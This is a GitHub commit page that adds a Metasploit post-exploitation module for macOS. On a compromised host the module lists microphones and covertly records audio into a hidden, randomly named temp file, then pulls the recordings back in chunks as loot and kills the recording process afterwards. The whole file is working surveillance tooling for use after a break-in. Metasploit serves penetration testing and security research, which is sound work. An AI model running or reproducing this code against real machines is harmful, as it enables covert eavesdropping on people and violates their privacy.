Skip to content

Commit ba00395

Browse files
committed
Set filename to osx_mic_rec instead of webcam.
1 parent 6c4ad6a commit ba00395

File tree

1 file changed

+128
-0
lines changed

1 file changed

+128
-0
lines changed

modules/post/osx/gather/record_mic.rb

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'shellwords'
10+
require File.join(Msf::Config.install_root, "lib", "osx_ruby_ld_helpers")
11+
12+
13+
class Metasploit3 < Msf::Post
14+
include ::Msf::Post::Common
15+
include ::Msf::Post::File
16+
include Msf::Auxiliary::Report
17+
include OSXRubyDLHelpers
18+
19+
def initialize(info={})
20+
super(update_info(info,
21+
'Name' => 'OSX Manage Record Microphone',
22+
'Description' => %q{
23+
This module will allow you to detect (with the LIST action) and
24+
capture (with the RECORD action) audio inputs on a remote OSX machine.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [ 'joev <jvennix[at]rapid7.com>'],
28+
'Platform' => [ 'osx'],
29+
'SessionTypes' => [ 'shell', 'meterpreter' ],
30+
'Actions' => [
31+
[ 'LIST', { 'Description' => 'Show a list of microphones' } ],
32+
[ 'RECORD', { 'Description' => 'Record from a selected audio input' } ]
33+
],
34+
'DefaultAction' => 'LIST'
35+
))
36+
37+
register_options(
38+
[
39+
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
40+
OptString.new('TMP_FILE',
41+
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']
42+
),
43+
OptString.new('AUDIO_COMPRESSION',
44+
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']
45+
),
46+
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
47+
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
48+
], self.class)
49+
end
50+
51+
52+
def run
53+
fail_with(Exploit::Failure::Unknown, "Invalid session ID selected.") if client.nil?
54+
fail_with(Exploit::Failure::Unknown, "Invalid action") if action.nil?
55+
56+
num_chunks = (datastore['RECORD_LEN'].to_f/datastore['SYNC_WAIT'].to_f).ceil
57+
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10)+'1' }
58+
ruby_cmd = osx_capture_media(
59+
:action => action.name.downcase,
60+
:snap_filetype => '',
61+
:audio_enabled => true,
62+
:video_enabled => false,
63+
:num_chunks => num_chunks,
64+
:chunk_len => datastore['SYNC_WAIT'],
65+
:video_device => 0,
66+
:audio_device => datastore['MIC_INDEX'],
67+
:snap_jpg_compression => 0,
68+
:video_compression => '',
69+
:audio_compression => datastore['AUDIO_COMPRESSION'],
70+
:record_file => tmp_file,
71+
:snap_file => tmp_file
72+
)
73+
74+
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
75+
if action.name =~ /list/i
76+
print_good output
77+
elsif action.name =~ /record/i
78+
@pid = output.to_i
79+
print_status "Running record service with PID #{@pid}"
80+
(0...num_chunks).each do |i|
81+
# wait SYNC_WAIT seconds
82+
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
83+
Rex.sleep(datastore['SYNC_WAIT'])
84+
# start reading for file
85+
begin
86+
::Timeout.timeout(120) do
87+
while true
88+
if File.exist?(tmp_file)
89+
# read file
90+
contents = File.read(tmp_file)
91+
# delete file
92+
rm_f(tmp_file)
93+
# roll filename
94+
base = File.basename(tmp_file, '.*') # returns it with no extension
95+
num = ((base.match(/\d+$/)||['0'])[0].to_i+1).to_s
96+
ext = File.extname(tmp_file) || 'o'
97+
tmp_file = File.join(File.dirname(tmp_file), base+num+'.'+ext)
98+
# store contents in file
99+
title = "OSX Mic Recording "+i.to_s
100+
f = store_loot(title, "audio/quicktime", session, contents,
101+
"osx_mic_rec#{i}.qt", title)
102+
print_good "Record file captured and saved to #{f}"
103+
print_status "Rolling record file. "
104+
break
105+
else
106+
Rex.sleep(0.3)
107+
end
108+
end
109+
end
110+
rescue ::Timeout::Error
111+
fail_with(Exploit::Failure::Unknown,
112+
"Client did not respond to new file request, exiting.")
113+
end
114+
end
115+
end
116+
end
117+
118+
def cleanup
119+
return unless @cleaning_up.nil?
120+
@cleaning_up = true
121+
122+
if action.name =~ /record/i and not @pid.nil?
123+
print_status("Killing record service...")
124+
cmd_exec("/bin/kill -9 #{@pid}")
125+
end
126+
end
127+
end
128+

0 commit comments

Comments
 (0)